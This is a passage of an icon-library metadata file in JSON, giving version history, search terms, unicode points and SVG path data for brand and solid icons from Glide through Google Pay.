    },
    "free": ["solid"]
  },
  "glide": {
    "changes": ["4.6.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f2a5",
    "label": "Glide",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014467,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M252.8 148.6c0 8.8-1.6 17.7-3.4 26.4-5.8 27.8-11.6 55.8-17.3 83.6-1.4 6.3-8.3 4.9-13.7 4.9-23.8 0-30.5-26-30.5-45.5 0-29.3 11.2-68.1 38.5-83.1 4.3-2.5 9.2-4.2 14.1-4.2 11.4 0 12.3 8.3 12.3 17.9zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-64 187c0-5.1-20.8-37.7-25.5-39.5-2.2-.9-7.2-2.3-9.6-2.3-23.1 0-38.7 10.5-58.2 21.5l-.5-.5c4.3-29.4 14.6-57.2 14.6-87.4 0-44.6-23.8-62.7-67.5-62.7-71.7 0-108 70.8-108 123.5 0 54.7 32 85 86.3 85 7.5 0 6.9-.6 6.9 2.3-10.5 80.3-56.5 82.9-56.5 58.9 0-24.4 28-36.5 28.3-38-.2-7.6-29.3-17.2-36.7-17.2-21.1 0-32.7 33-32.7 50.6 0 32.3 20.4 54.7 53.3 54.7 48.2 0 83.4-49.7 94.3-91.7 9.4-37.7 7-39.4 12.3-42.1 20-10.1 35.8-16.8 58.4-16.8 11.1 0 19 2.3 36.7 5.2 1.8.1 4.1-1.7 4.1-3.5z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M252.8 148.6c0 8.8-1.6 17.7-3.4 26.4-5.8 27.8-11.6 55.8-17.3 83.6-1.4 6.3-8.3 4.9-13.7 4.9-23.8 0-30.5-26-30.5-45.5 0-29.3 11.2-68.1 38.5-83.1 4.3-2.5 9.2-4.2 14.1-4.2 11.4 0 12.3 8.3 12.3 17.9zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-64 187c0-5.1-20.8-37.7-25.5-39.5-2.2-.9-7.2-2.3-9.6-2.3-23.1 0-38.7 10.5-58.2 21.5l-.5-.5c4.3-29.4 14.6-57.2 14.6-87.4 0-44.6-23.8-62.7-67.5-62.7-71.7 0-108 70.8-108 123.5 0 54.7 32 85 86.3 85 7.5 0 6.9-.6 6.9 2.3-10.5 80.3-56.5 82.9-56.5 58.9 0-24.4 28-36.5 28.3-38-.2-7.6-29.3-17.2-36.7-17.2-21.1 0-32.7 33-32.7 50.6 0 32.3 20.4 54.7 53.3 54.7 48.2 0 83.4-49.7 94.3-91.7 9.4-37.7 7-39.4 12.3-42.1 20-10.1 35.8-16.8 58.4-16.8 11.1 0 19 2.3 36.7 5.2 1.8.1 4.1-1.7 4.1-3.5z"
      }
    },
    "free": ["brands"]
  },
  "glide-g": {
    "changes": ["4.6.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f2a6",
    "label": "Glide G",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014481,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M407.1 211.2c-3.5-1.4-11.6-3.8-15.4-3.8-37.1 0-62.2 16.8-93.5 34.5l-.9-.9c7-47.3 23.5-91.9 23.5-140.4C320.8 29.1 282.6 0 212.4 0 97.3 0 39 113.7 39 198.4 39 286.3 90.3 335 177.6 335c12 0 11-1 11 3.8-16.9 128.9-90.8 133.1-90.8 94.6 0-39.2 45-58.6 45.5-61-.3-12.2-47-27.6-58.9-27.6-33.9.1-52.4 51.2-52.4 79.3C32 476 64.8 512 117.5 512c77.4 0 134-77.8 151.4-145.4 15.1-60.5 11.2-63.3 19.7-67.6 32.2-16.2 57.5-27 93.8-27 17.8 0 30.5 3.7 58.9 8.4 2.9 0 6.7-2.9 6.7-5.8 0-8-33.4-60.5-40.9-63.4zm-175.3-84.4c-9.3 44.7-18.6 89.6-27.8 134.3-2.3 10.2-13.3 7.8-22 7.8-38.3 0-49-41.8-49-73.1 0-47 18-109.3 61.8-133.4 7-4.1 14.8-6.7 22.6-6.7 18.6 0 20 13.3 20 28.7-.1 14.3-2.7 28.5-5.6 42.4z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M407.1 211.2c-3.5-1.4-11.6-3.8-15.4-3.8-37.1 0-62.2 16.8-93.5 34.5l-.9-.9c7-47.3 23.5-91.9 23.5-140.4C320.8 29.1 282.6 0 212.4 0 97.3 0 39 113.7 39 198.4 39 286.3 90.3 335 177.6 335c12 0 11-1 11 3.8-16.9 128.9-90.8 133.1-90.8 94.6 0-39.2 45-58.6 45.5-61-.3-12.2-47-27.6-58.9-27.6-33.9.1-52.4 51.2-52.4 79.3C32 476 64.8 512 117.5 512c77.4 0 134-77.8 151.4-145.4 15.1-60.5 11.2-63.3 19.7-67.6 32.2-16.2 57.5-27 93.8-27 17.8 0 30.5 3.7 58.9 8.4 2.9 0 6.7-2.9 6.7-5.8 0-8-33.4-60.5-40.9-63.4zm-175.3-84.4c-9.3 44.7-18.6 89.6-27.8 134.3-2.3 10.2-13.3 7.8-22 7.8-38.3 0-49-41.8-49-73.1 0-47 18-109.3 61.8-133.4 7-4.1 14.8-6.7 22.6-6.7 18.6 0 20 13.3 20 28.7-.1 14.3-2.7 28.5-5.6 42.4z"
      }
    },
    "free": ["brands"]
  },
  "globe": {
    "aliases": {
      "unicodes": {
        "composite": ["1f310"],
        "secondary": ["10f0ac"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.0.9",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "all",
        "coordinates",
        "country",
        "earth",
        "global",
        "globe",
        "globe with meridians",
        "gps",
        "internet",
        "language",
        "localize",
        "location",
        "map",
        "meridians",
        "network",
        "online",
        "place",
        "planet",
        "translate",
        "travel",
        "world"
      ]
    },
    "styles": ["solid"],
    "unicode": "f0ac",
    "label": "Globe",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M352 256c0 22.2-1.2 43.6-3.3 64H163.3c-2.2-20.4-3.3-41.8-3.3-64s1.2-43.6 3.3-64H348.7c2.2 20.4 3.3 41.8 3.3 64zm28.8-64H503.9c5.3 20.5 8.1 41.9 8.1 64s-2.8 43.5-8.1 64H380.8c2.1-20.6 3.2-42 3.2-64s-1.1-43.4-3.2-64zm112.6-32H376.7c-10-63.9-29.8-117.4-55.3-151.6c78.3 20.7 142 77.5 171.9 151.6zm-149.1 0H167.7c6.1-36.4 15.5-68.6 27-94.7c10.5-23.6 22.2-40.7 33.5-51.5C239.4 3.2 248.7 0 256 0s16.6 3.2 27.8 13.8c11.3 10.8 23 27.9 33.5 51.5c11.6 26 20.9 58.2 27 94.7zm-209 0H18.6C48.6 85.9 112.2 29.1 190.6 8.4C165.1 42.6 145.3 96.1 135.3 160zM8.1 192H131.2c-2.1 20.6-3.2 42-3.2 64s1.1 43.4 3.2 64H8.1C2.8 299.5 0 278.1 0 256s2.8-43.5 8.1-64zM194.7 446.6c-11.6-26-20.9-58.2-27-94.6H344.3c-6.1 36.4-15.5 68.6-27 94.6c-10.5 23.6-22.2 40.7-33.5 51.5C272.6 508.8 263.3 512 256 512s-16.6-3.2-27.8-13.8c-11.3-10.8-23-27.9-33.5-51.5zM135.3 352c10 63.9 29.8 117.4 55.3 151.6C112.2 482.9 48.6 426.1 18.6 352H135.3zm358.1 0c-30 74.1-93.6 130.9-171.9 151.6c25.5-34.2 45.2-87.7 55.3-151.6H493.4z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M352 256c0 22.2-1.2 43.6-3.3 64H163.3c-2.2-20.4-3.3-41.8-3.3-64s1.2-43.6 3.3-64H348.7c2.2 20.4 3.3 41.8 3.3 64zm28.8-64H503.9c5.3 20.5 8.1 41.9 8.1 64s-2.8 43.5-8.1 64H380.8c2.1-20.6 3.2-42 3.2-64s-1.1-43.4-3.2-64zm112.6-32H376.7c-10-63.9-29.8-117.4-55.3-151.6c78.3 20.7 142 77.5 171.9 151.6zm-149.1 0H167.7c6.1-36.4 15.5-68.6 27-94.7c10.5-23.6 22.2-40.7 33.5-51.5C239.4 3.2 248.7 0 256 0s16.6 3.2 27.8 13.8c11.3 10.8 23 27.9 33.5 51.5c11.6 26 20.9 58.2 27 94.7zm-209 0H18.6C48.6 85.9 112.2 29.1 190.6 8.4C165.1 42.6 145.3 96.1 135.3 160zM8.1 192H131.2c-2.1 20.6-3.2 42-3.2 64s1.1 43.4 3.2 64H8.1C2.8 299.5 0 278.1 0 256s2.8-43.5 8.1-64zM194.7 446.6c-11.6-26-20.9-58.2-27-94.6H344.3c-6.1 36.4-15.5 68.6-27 94.6c-10.5 23.6-22.2 40.7-33.5 51.5C272.6 508.8 263.3 512 256 512s-16.6-3.2-27.8-13.8c-11.3-10.8-23-27.9-33.5-51.5zM135.3 352c10 63.9 29.8 117.4 55.3 151.6C112.2 482.9 48.6 426.1 18.6 352H135.3zm358.1 0c-30 74.1-93.6 130.9-171.9 151.6c25.5-34.2 45.2-87.7 55.3-151.6H493.4z"
      }
    },
    "free": ["solid"]
  },
  "gofore": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3a7",
    "label": "Gofore",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014470,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 400 512\"><path d=\"M324 319.8h-13.2v34.7c-24.5 23.1-56.3 35.8-89.9 35.8-73.2 0-132.4-60.2-132.4-134.4 0-74.1 59.2-134.4 132.4-134.4 35.3 0 68.6 14 93.6 39.4l62.3-63.3C335 55.3 279.7 32 220.7 32 98 32 0 132.6 0 256c0 122.5 97 224 220.7 224 63.2 0 124.5-26.2 171-82.5-2-27.6-13.4-77.7-67.7-77.7zm-12.1-112.5H205.6v89H324c33.5 0 60.5 15.1 76 41.8v-30.6c0-65.2-40.4-100.2-88.1-100.2z\"/></svg>",
        "viewBox": [0, 0, 400, 512],
        "width": 400,
        "height": 512,
        "path": "M324 319.8h-13.2v34.7c-24.5 23.1-56.3 35.8-89.9 35.8-73.2 0-132.4-60.2-132.4-134.4 0-74.1 59.2-134.4 132.4-134.4 35.3 0 68.6 14 93.6 39.4l62.3-63.3C335 55.3 279.7 32 220.7 32 98 32 0 132.6 0 256c0 122.5 97 224 220.7 224 63.2 0 124.5-26.2 171-82.5-2-27.6-13.4-77.7-67.7-77.7zm-12.1-112.5H205.6v89H324c33.5 0 60.5 15.1 76 41.8v-30.6c0-65.2-40.4-100.2-88.1-100.2z"
      }
    },
    "free": ["brands"]
  },
  "golang": {
    "changes": ["6.0.0-beta2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e40f",
    "label": "Go",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M400.1 194.8C389.2 197.6 380.2 199.1 371 202.4C363.7 204.3 356.3 206.3 347.8 208.5L347.2 208.6C343 209.8 342.6 209.9 338.7 205.4C334 200.1 330.6 196.7 324.1 193.5C304.4 183.9 285.4 186.7 267.7 198.2C246.5 211.9 235.6 232.2 235.9 257.4C236.2 282.4 253.3 302.9 277.1 306.3C299.1 309.1 316.9 301.7 330.9 285.8C333 283.2 334.9 280.5 337 277.5V277.5L337 277.5C337.8 276.5 338.5 275.4 339.3 274.2H279.2C272.7 274.2 271.1 270.2 273.3 264.9C277.3 255.2 284.8 239 289.2 230.9C290.1 229.1 292.3 225.1 296.1 225.1H397.2C401.7 211.7 409 198.2 418.8 185.4C441.5 155.5 468.1 139.9 506 133.4C537.8 127.8 567.7 130.9 594.9 149.3C619.5 166.1 634.7 188.9 638.8 218.8C644.1 260.9 631.9 295.1 602.1 324.4C582.4 345.3 557.2 358.4 528.2 364.3C522.6 365.3 517.1 365.8 511.7 366.3C508.8 366.5 506 366.8 503.2 367.1C474.9 366.5 449 358.4 427.2 339.7C411.9 326.4 401.3 310.1 396.1 291.2C392.4 298.5 388.1 305.6 382.1 312.3C360.5 341.9 331.2 360.3 294.2 365.2C263.6 369.3 235.3 363.4 210.3 344.7C187.3 327.2 174.2 304.2 170.8 275.5C166.7 241.5 176.7 210.1 197.2 184.2C219.4 155.2 248.7 136.8 284.5 130.3C313.8 124.1 341.8 128.4 367.1 145.6C383.6 156.5 395.4 171.4 403.2 189.5C405.1 192.3 403.8 193.9 400.1 194.8zM48.3 200.4C47.05 200.4 46.74 199.8 47.36 198.8L53.91 190.4C54.53 189.5 56.09 188.9 57.34 188.9H168.6C169.8 188.9 170.1 189.8 169.5 190.7L164.2 198.8C163.6 199.8 162 200.7 161.1 200.7L48.3 200.4zM1.246 229.1C0 229.1-.3116 228.4 .3116 227.5L6.855 219.1C7.479 218.2 9.037 217.5 10.28 217.5H152.4C153.6 217.5 154.2 218.5 153.9 219.4L151.4 226.9C151.1 228.1 149.9 228.8 148.6 228.8L1.246 229.1zM75.72 255.9C75.1 256.8 75.41 257.7 76.65 257.7L144.6 258C145.5 258 146.8 257.1 146.8 255.9L147.4 248.4C147.4 247.1 146.8 246.2 145.5 246.2H83.2C81.95 246.2 80.71 247.1 80.08 248.1L75.72 255.9zM577.2 237.9C577 235.3 576.9 233.1 576.5 230.9C570.9 200.1 542.5 182.6 512.9 189.5C483.9 196 465.2 214.4 458.4 243.7C452.8 268 464.6 292.6 487 302.6C504.2 310.1 521.3 309.2 537.8 300.7C562.4 287.1 575.8 268 577.4 241.2C577.3 240 577.3 238.9 577.2 237.9z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M400.1 194.8C389.2 197.6 380.2 199.1 371 202.4C363.7 204.3 356.3 206.3 347.8 208.5L347.2 208.6C343 209.8 342.6 209.9 338.7 205.4C334 200.1 330.6 196.7 324.1 193.5C304.4 183.9 285.4 186.7 267.7 198.2C246.5 211.9 235.6 232.2 235.9 257.4C236.2 282.4 253.3 302.9 277.1 306.3C299.1 309.1 316.9 301.7 330.9 285.8C333 283.2 334.9 280.5 337 277.5V277.5L337 277.5C337.8 276.5 338.5 275.4 339.3 274.2H279.2C272.7 274.2 271.1 270.2 273.3 264.9C277.3 255.2 284.8 239 289.2 230.9C290.1 229.1 292.3 225.1 296.1 225.1H397.2C401.7 211.7 409 198.2 418.8 185.4C441.5 155.5 468.1 139.9 506 133.4C537.8 127.8 567.7 130.9 594.9 149.3C619.5 166.1 634.7 188.9 638.8 218.8C644.1 260.9 631.9 295.1 602.1 324.4C582.4 345.3 557.2 358.4 528.2 364.3C522.6 365.3 517.1 365.8 511.7 366.3C508.8 366.5 506 366.8 503.2 367.1C474.9 366.5 449 358.4 427.2 339.7C411.9 326.4 401.3 310.1 396.1 291.2C392.4 298.5 388.1 305.6 382.1 312.3C360.5 341.9 331.2 360.3 294.2 365.2C263.6 369.3 235.3 363.4 210.3 344.7C187.3 327.2 174.2 304.2 170.8 275.5C166.7 241.5 176.7 210.1 197.2 184.2C219.4 155.2 248.7 136.8 284.5 130.3C313.8 124.1 341.8 128.4 367.1 145.6C383.6 156.5 395.4 171.4 403.2 189.5C405.1 192.3 403.8 193.9 400.1 194.8zM48.3 200.4C47.05 200.4 46.74 199.8 47.36 198.8L53.91 190.4C54.53 189.5 56.09 188.9 57.34 188.9H168.6C169.8 188.9 170.1 189.8 169.5 190.7L164.2 198.8C163.6 199.8 162 200.7 161.1 200.7L48.3 200.4zM1.246 229.1C0 229.1-.3116 228.4 .3116 227.5L6.855 219.1C7.479 218.2 9.037 217.5 10.28 217.5H152.4C153.6 217.5 154.2 218.5 153.9 219.4L151.4 226.9C151.1 228.1 149.9 228.8 148.6 228.8L1.246 229.1zM75.72 255.9C75.1 256.8 75.41 257.7 76.65 257.7L144.6 258C145.5 258 146.8 257.1 146.8 255.9L147.4 248.4C147.4 247.1 146.8 246.2 145.5 246.2H83.2C81.95 246.2 80.71 247.1 80.08 248.1L75.72 255.9zM577.2 237.9C577 235.3 576.9 233.1 576.5 230.9C570.9 200.1 542.5 182.6 512.9 189.5C483.9 196 465.2 214.4 458.4 243.7C452.8 268 464.6 292.6 487 302.6C504.2 310.1 521.3 309.2 537.8 300.7C562.4 287.1 575.8 268 577.4 241.2C577.3 240 577.3 238.9 577.2 237.9z"
      }
    },
    "free": ["brands"]
  },
  "golf-ball-tee": {
    "aliases": {
      "names": ["golf-ball"],
      "unicodes": {
        "secondary": ["10f450"]
      }
    },
    "changes": ["5.0.5", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["caddy", "eagle", "putt", "tee"]
    },
    "styles": ["solid"],
    "unicode": "f450",
    "label": "Golf Ball Tee",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767070,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M384 192c0 66.8-34.1 125.6-85.8 160H85.8C34.1 317.6 0 258.8 0 192C0 86 86 0 192 0S384 86 384 192zM242.1 256.6c0 18.5-15 33.5-33.5 33.5c-4.9 0-9.1 5.1-5.4 8.4c5.9 5.2 13.7 8.4 22.1 8.4c18.5 0 33.5-15 33.5-33.5c0-8.5-3.2-16.2-8.4-22.1c-3.3-3.7-8.4 .5-8.4 5.4zm-52.3-49.3c-4.9 0-9.1 5.1-5.4 8.4c5.9 5.2 13.7 8.4 22.1 8.4c18.5 0 33.5-15 33.5-33.5c0-8.5-3.2-16.2-8.4-22.1c-3.3-3.7-8.4 .5-8.4 5.4c0 18.5-15 33.5-33.5 33.5zm113.5-17.5c0 18.5-15 33.5-33.5 33.5c-4.9 0-9.1 5.1-5.4 8.4c5.9 5.2 13.7 8.4 22.1 8.4c18.5 0 33.5-15 33.5-33.5c0-8.5-3.2-16.2-8.4-22.1c-3.3-3.7-8.4 .5-8.4 5.4zM96 416c0-17.7 14.3-32 32-32h64 64c17.7 0 32 14.3 32 32s-14.3 32-32 32H240c-8.8 0-16 7.2-16 16v16c0 17.7-14.3 32-32 32s-32-14.3-32-32V464c0-8.8-7.2-16-16-16H128c-17.7 0-32-14.3-32-32z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M384 192c0 66.8-34.1 125.6-85.8 160H85.8C34.1 317.6 0 258.8 0 192C0 86 86 0 192 0S384 86 384 192zM242.1 256.6c0 18.5-15 33.5-33.5 33.5c-4.9 0-9.1 5.1-5.4 8.4c5.9 5.2 13.7 8.4 22.1 8.4c18.5 0 33.5-15 33.5-33.5c0-8.5-3.2-16.2-8.4-22.1c-3.3-3.7-8.4 .5-8.4 5.4zm-52.3-49.3c-4.9 0-9.1 5.1-5.4 8.4c5.9 5.2 13.7 8.4 22.1 8.4c18.5 0 33.5-15 33.5-33.5c0-8.5-3.2-16.2-8.4-22.1c-3.3-3.7-8.4 .5-8.4 5.4c0 18.5-15 33.5-33.5 33.5zm113.5-17.5c0 18.5-15 33.5-33.5 33.5c-4.9 0-9.1 5.1-5.4 8.4c5.9 5.2 13.7 8.4 22.1 8.4c18.5 0 33.5-15 33.5-33.5c0-8.5-3.2-16.2-8.4-22.1c-3.3-3.7-8.4 .5-8.4 5.4zM96 416c0-17.7 14.3-32 32-32h64 64c17.7 0 32 14.3 32 32s-14.3 32-32 32H240c-8.8 0-16 7.2-16 16v16c0 17.7-14.3 32-32 32s-32-14.3-32-32V464c0-8.8-7.2-16-16-16H128c-17.7 0-32-14.3-32-32z"
      }
    },
    "free": ["solid"]
  },
  "goodreads": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3a8",
    "label": "Goodreads",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014472,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M299.9 191.2c5.1 37.3-4.7 79-35.9 100.7-22.3 15.5-52.8 14.1-70.8 5.7-37.1-17.3-49.5-58.6-46.8-97.2 4.3-60.9 40.9-87.9 75.3-87.5 46.9-.2 71.8 31.8 78.2 78.3zM448 88v336c0 30.9-25.1 56-56 56H56c-30.9 0-56-25.1-56-56V88c0-30.9 25.1-56 56-56h336c30.9 0 56 25.1 56 56zM330 313.2s-.1-34-.1-217.3h-29v40.3c-.8.3-1.2-.5-1.6-1.2-9.6-20.7-35.9-46.3-76-46-51.9.4-87.2 31.2-100.6 77.8-4.3 14.9-5.8 30.1-5.5 45.6 1.7 77.9 45.1 117.8 112.4 115.2 28.9-1.1 54.5-17 69-45.2.5-1 1.1-1.9 1.7-2.9.2.1.4.1.6.2.3 3.8.2 30.7.1 34.5-.2 14.8-2 29.5-7.2 43.5-7.8 21-22.3 34.7-44.5 39.5-17.8 3.9-35.6 3.8-53.2-1.2-21.5-6.1-36.5-19-41.1-41.8-.3-1.6-1.3-1.3-2.3-1.3h-26.8c.8 10.6 3.2 20.3 8.5 29.2 24.2 40.5 82.7 48.5 128.2 37.4 49.9-12.3 67.3-54.9 67.4-106.3z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M299.9 191.2c5.1 37.3-4.7 79-35.9 100.7-22.3 15.5-52.8 14.1-70.8 5.7-37.1-17.3-49.5-58.6-46.8-97.2 4.3-60.9 40.9-87.9 75.3-87.5 46.9-.2 71.8 31.8 78.2 78.3zM448 88v336c0 30.9-25.1 56-56 56H56c-30.9 0-56-25.1-56-56V88c0-30.9 25.1-56 56-56h336c30.9 0 56 25.1 56 56zM330 313.2s-.1-34-.1-217.3h-29v40.3c-.8.3-1.2-.5-1.6-1.2-9.6-20.7-35.9-46.3-76-46-51.9.4-87.2 31.2-100.6 77.8-4.3 14.9-5.8 30.1-5.5 45.6 1.7 77.9 45.1 117.8 112.4 115.2 28.9-1.1 54.5-17 69-45.2.5-1 1.1-1.9 1.7-2.9.2.1.4.1.6.2.3 3.8.2 30.7.1 34.5-.2 14.8-2 29.5-7.2 43.5-7.8 21-22.3 34.7-44.5 39.5-17.8 3.9-35.6 3.8-53.2-1.2-21.5-6.1-36.5-19-41.1-41.8-.3-1.6-1.3-1.3-2.3-1.3h-26.8c.8 10.6 3.2 20.3 8.5 29.2 24.2 40.5 82.7 48.5 128.2 37.4 49.9-12.3 67.3-54.9 67.4-106.3z"
      }
    },
    "free": ["brands"]
  },
  "goodreads-g": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3a9",
    "label": "Goodreads G",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014463,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M42.6 403.3h2.8c12.7 0 25.5 0 38.2.1 1.6 0 3.1-.4 3.6 2.1 7.1 34.9 30 54.6 62.9 63.9 26.9 7.6 54.1 7.8 81.3 1.8 33.8-7.4 56-28.3 68-60.4 8-21.5 10.7-43.8 11-66.5.1-5.8.3-47-.2-52.8l-.9-.3c-.8 1.5-1.7 2.9-2.5 4.4-22.1 43.1-61.3 67.4-105.4 69.1-103 4-169.4-57-172-176.2-.5-23.7 1.8-46.9 8.3-69.7C58.3 47.7 112.3.6 191.6 0c61.3-.4 101.5 38.7 116.2 70.3.5 1.1 1.3 2.3 2.4 1.9V10.6h44.3c0 280.3.1 332.2.1 332.2-.1 78.5-26.7 143.7-103 162.2-69.5 16.9-159 4.8-196-57.2-8-13.5-11.8-28.3-13-44.5zM188.9 36.5c-52.5-.5-108.5 40.7-115 133.8-4.1 59 14.8 122.2 71.5 148.6 27.6 12.9 74.3 15 108.3-8.7 47.6-33.2 62.7-97 54.8-154-9.7-71.1-47.8-120-119.6-119.7z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M42.6 403.3h2.8c12.7 0 25.5 0 38.2.1 1.6 0 3.1-.4 3.6 2.1 7.1 34.9 30 54.6 62.9 63.9 26.9 7.6 54.1 7.8 81.3 1.8 33.8-7.4 56-28.3 68-60.4 8-21.5 10.7-43.8 11-66.5.1-5.8.3-47-.2-52.8l-.9-.3c-.8 1.5-1.7 2.9-2.5 4.4-22.1 43.1-61.3 67.4-105.4 69.1-103 4-169.4-57-172-176.2-.5-23.7 1.8-46.9 8.3-69.7C58.3 47.7 112.3.6 191.6 0c61.3-.4 101.5 38.7 116.2 70.3.5 1.1 1.3 2.3 2.4 1.9V10.6h44.3c0 280.3.1 332.2.1 332.2-.1 78.5-26.7 143.7-103 162.2-69.5 16.9-159 4.8-196-57.2-8-13.5-11.8-28.3-13-44.5zM188.9 36.5c-52.5-.5-108.5 40.7-115 133.8-4.1 59 14.8 122.2 71.5 148.6 27.6 12.9 74.3 15 108.3-8.7 47.6-33.2 62.7-97 54.8-154-9.7-71.1-47.8-120-119.6-119.7z"
      }
    },
    "free": ["brands"]
  },
  "google": {
    "changes": ["4.1.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1a0",
    "label": "Google Logo",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014479,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 488 512\"><path d=\"M488 261.8C488 403.3 391.1 504 248 504 110.8 504 0 393.2 0 256S110.8 8 248 8c66.8 0 123 24.5 166.3 64.9l-67.5 64.9C258.5 52.6 94.3 116.6 94.3 256c0 86.5 69.1 156.6 153.7 156.6 98.2 0 135-70.4 140.8-106.9H248v-85.3h236.1c2.3 12.7 3.9 24.9 3.9 41.4z\"/></svg>",
        "viewBox": [0, 0, 488, 512],
        "width": 488,
        "height": 512,
        "path": "M488 261.8C488 403.3 391.1 504 248 504 110.8 504 0 393.2 0 256S110.8 8 248 8c66.8 0 123 24.5 166.3 64.9l-67.5 64.9C258.5 52.6 94.3 116.6 94.3 256c0 86.5 69.1 156.6 153.7 156.6 98.2 0 135-70.4 140.8-106.9H248v-85.3h236.1c2.3 12.7 3.9 24.9 3.9 41.4z"
      }
    },
    "free": ["brands"]
  },
  "google-drive": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3aa",
    "label": "Google Drive",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014465,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M339 314.9L175.4 32h161.2l163.6 282.9H339zm-137.5 23.6L120.9 480h310.5L512 338.5H201.5zM154.1 67.4L0 338.5 80.6 480 237 208.8 154.1 67.4z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M339 314.9L175.4 32h161.2l163.6 282.9H339zm-137.5 23.6L120.9 480h310.5L512 338.5H201.5zM154.1 67.4L0 338.5 80.6 480 237 208.8 154.1 67.4z"
      }
    },
    "free": ["brands"]
  },
  "google-pay": {
    "changes": ["5.13.1", "5.14.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e079",
    "label": "Google Pay",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014458,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M105.72,215v41.25h57.1a49.66,49.66,0,0,1-21.14,32.6c-9.54,6.55-21.72,10.28-36,10.28-27.6,0-50.93-18.91-59.3-44.22a65.61,65.61,0,0,1,0-41l0,0c8.37-25.46,31.7-44.37,59.3-44.37a56.43,56.43,0,0,1,40.51,16.08L176.47,155a101.24,101.24,0,0,0-70.75-27.84,105.55,105.55,0,0,0-94.38,59.11,107.64,107.64,0,0,0,0,96.18v.15a105.41,105.41,0,0,0,94.38,59c28.47,0,52.55-9.53,70-25.91,20-18.61,31.41-46.15,31.41-78.91A133.76,133.76,0,0,0,205.38,215Zm389.41-4c-10.13-9.38-23.93-14.14-41.39-14.14-22.46,0-39.34,8.34-50.5,24.86l20.85,13.26q11.45-17,31.26-17a34.05,34.05,0,0,1,22.75,8.79A28.14,28.14,0,0,1,487.79,248v5.51c-9.1-5.07-20.55-7.75-34.64-7.75-16.44,0-29.65,3.88-39.49,11.77s-14.82,18.31-14.82,31.56a39.74,39.74,0,0,0,13.94,31.27c9.25,8.34,21,12.51,34.79,12.51,16.29,0,29.21-7.3,39-21.89h1v17.72h22.61V250C510.25,233.45,505.26,220.34,495.13,211ZM475.9,300.3a37.32,37.32,0,0,1-26.57,11.16A28.61,28.61,0,0,1,431,305.21a19.41,19.41,0,0,1-7.77-15.63c0-7,3.22-12.81,9.54-17.42s14.53-7,24.07-7C470,265,480.3,268,487.64,273.94,487.64,284.07,483.68,292.85,475.9,300.3Zm-93.65-142A55.71,55.71,0,0,0,341.74,142H279.07V328.74H302.7V253.1h39c16,0,29.5